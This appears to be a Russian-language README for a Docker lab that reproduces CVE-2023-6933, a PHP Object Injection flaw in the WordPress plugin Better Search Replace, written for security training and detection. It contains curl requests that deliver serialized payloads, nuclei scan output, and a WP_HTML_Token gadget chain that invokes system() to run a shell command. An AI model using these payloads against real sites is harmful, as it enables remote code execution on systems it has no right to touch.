Лаборатория уязвимости CVE-2023-6933
Обзор
Эта лабораторная среда демонстрирует CVE-2023-6933 — критическую уязвимость PHP Object Injection в WordPress-плагине Better Search Replace версий ≤1.4.4.
Детали уязвимости
- CVE ID: CVE-2023-6933
- CVSS Score: 9.8 (критическая)
- Затронутый плагин: Better Search Replace ≤1.4.4
- Тип уязвимости: PHP Object Injection через десериализацию пользовательского ввода
- Вектор атаки: AJAX-эндпоинт
/wp-admin/admin-ajax.php с действием search_replace_db
Быстрый старт
1. Развертывание лаборатории
# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Deploy using Docker Hub image (automatic pull)
docker-compose up -d
Лаборатория автоматически:
- Загрузит уязвимый образ WordPress из Docker Hub (
trex999/vulnerable-bsr-lab:latest)
- Настроит WordPress с MySQL и phpMyAdmin
- Установит и активирует уязвимый плагин Better Search Replace (v1.4.4)
- Завершит установку примерно за 60 секунд
2. Доступ к окружению
3. Проверка уязвимости
# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Технический анализ
Уязвимость
Плагин Better Search Replace содержит уязвимость PHP Object Injection в своём AJAX-обработчике. Уязвимость возникает, когда:
- Пользовательский ввод передаётся в параметр
search_for через POST на /wp-admin/admin-ajax.php
- Действие установлено в
search_replace_db
- Ввод содержит сериализованные PHP-объекты, которые десериализуются без надлежащей проверки
- Это позволяет произвольное создание объектов и потенциальное выполнение кода
Методы проверки POC
Наш шаблон nuclei демонстрирует уязвимость через несколько этапов проверки:
- Обнаружение плагина: подтверждает наличие уязвимой версии плагина
- Тестирование внедрения объектов: отправляет сериализованные полезные нагрузки и анализирует ответы
- Поведенческая проверка: подтверждает успешную обработку десериализации объектов
Ключевые особенности лаборатории
- Без опоры на ошибки: POC демонстрирует реальную уязвимость через поведенческий анализ, а не через сообщения об ошибках
- Функциональное тестирование: использует безопасные сериализованные объекты для проверки десериализации без вреда для системы
- Автоматическое развертывание: полная настройка лаборатории без ручной конфигурации
- Несколько методов тестирования: как автоматические шаблоны nuclei, так и ручные команды curl
Документация
Краткая справка
- README.md: этот файл — быстрый старт и обзор
- CVE-2023-6933_POC_DOCUMENTATION.md: полная техническая документация с подробным анализом PoC
- POC_TEMPLATE_SUMMARY.md: соответствие требованиям и подтверждение поставки
Профессиональный шаблон PoC
Шаблон nuclei (nuclei-templates/cve-2023-6933.yaml) профессионально структурирован:
- Чистый код без излишних комментариев
- Подробная техническая документация в отдельных файлах
- Формат шаблона, готового к использованию в производственной среде
- Полное соответствие стандартам исследования безопасности
Результаты тестирования
Успешное выполнение POC
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
POC успешно:
- ✅ Обнаруживает уязвимую версию плагина
- ✅ Подтверждает возможность внедрения объектов через анализ ответов
- ✅ Демонстрирует функциональную уязвимость без опоры на ошибки
- ✅ Обеспечивает поведенческую проверку успешной десериализации
Уведомление о безопасности
⚠️ ПРЕДУПРЕЖДЕНИЕ: Это окружение содержит намеренно уязвимое программное обеспечение. Используйте только в изолированных тестовых средах. Не разворачивайте в производственных или доступных из интернета системах.
Очистка
Ссылки
Создано в образовательных целях и для исследований в области безопасности
Docker-окружение (Docker_LAB_SETUP/)
- WordPress 6.4.0 с уязвимым Better Search Replace 1.4.3
- Сервер баз данных MySQL 8.0
- phpMyAdmin для управления базой данных
- Предварительно настроенная уязвимая среда
Эксплойт-скрипты
cve_2023_6933_exploit.php — комплексный набор инструментов эксплуатации на PHP
wp_html_token_poc.php — демонстрация RCE для WordPress 6.4.0+
bsr_direct_exploit.php — прямое тестирование уязвимости
Средства обнаружения
nuclei-templates/cve-2023-6933.yaml — продвинутый шаблон nuclei
manual-test.sh — комплексный скрипт ручного тестирования
🎯 Правильная методология эксплуатации
Эта лаборатория, следуя лучшим практикам исследования уязвимостей, демонстрирует обнаружение без опоры на ошибки:
1. Обнаружение на основе успеха
Вместо опоры на HTTP-ошибки 500 наши инструменты обнаруживают:
- Успешную обработку полезной нагрузки
- Десериализацию сериализованных объектов
- Паттерны ответов приложения
- Признаки функциональной эксплуатации
2. Цепочка RCE через WP_HTML_Token
Использование класса WP_HTML_Token WordPress 6.4.0+ для реального RCE:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
3. Несколько векторов атак
- Эксплуатация AJAX-эндпоинта (
admin-ajax.php)
- Прямое манипулирование интерфейсом плагина
- Внедрение в базу данных через операции поиска/замены
🔬 Подход к тестированию
Ручное тестирование
# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
Возможности шаблона nuclei
- Многовекторное тестирование: 5 различных HTTP-запросов
- Сопоставление на основе успеха: ищет функциональную обработку, а не ошибки
- Комплексное извлечение данных: определение версии, анализ ответов
- Безопасные полезные нагрузки: неразрушающий подход к тестированию
Возможности ручного тестирования
- Определение и проверка версии плагина
- Генерация и тестирование множества полезных нагрузок
- Демонстрация RCE через WP_HTML_Token
- Комплексная проверка уязвимости
📊 Точки доступа к лаборатории
🛡️ Вопросы безопасности
Для исследователей
- Это намеренно уязвимая среда
- Используйте только в изолированных/контролируемых сетях
- Не для производственных сред
- Только в образовательных целях
Для защитников
- Обновите Better Search Replace до версии ≥ 1.4.5
- Внедрите правила WAF для сериализованных данных
- Отслеживайте паттерны внедрения объектов
- Регулярные аудиты безопасности WordPress-плагинов
📚 Образовательная ценность
Эта лаборатория даёт практический опыт в области:
- уязвимостей PHP Object Injection
- анализа безопасности WordPress-плагинов
- атак на сериализацию/десериализацию
- эксплуатации цепочек гаджетов
- автоматизации обнаружения уязвимостей
- методологий тестирования безопасности
Автор: Trex
Версия лаборатории: 2.0 — улучшенная методология POC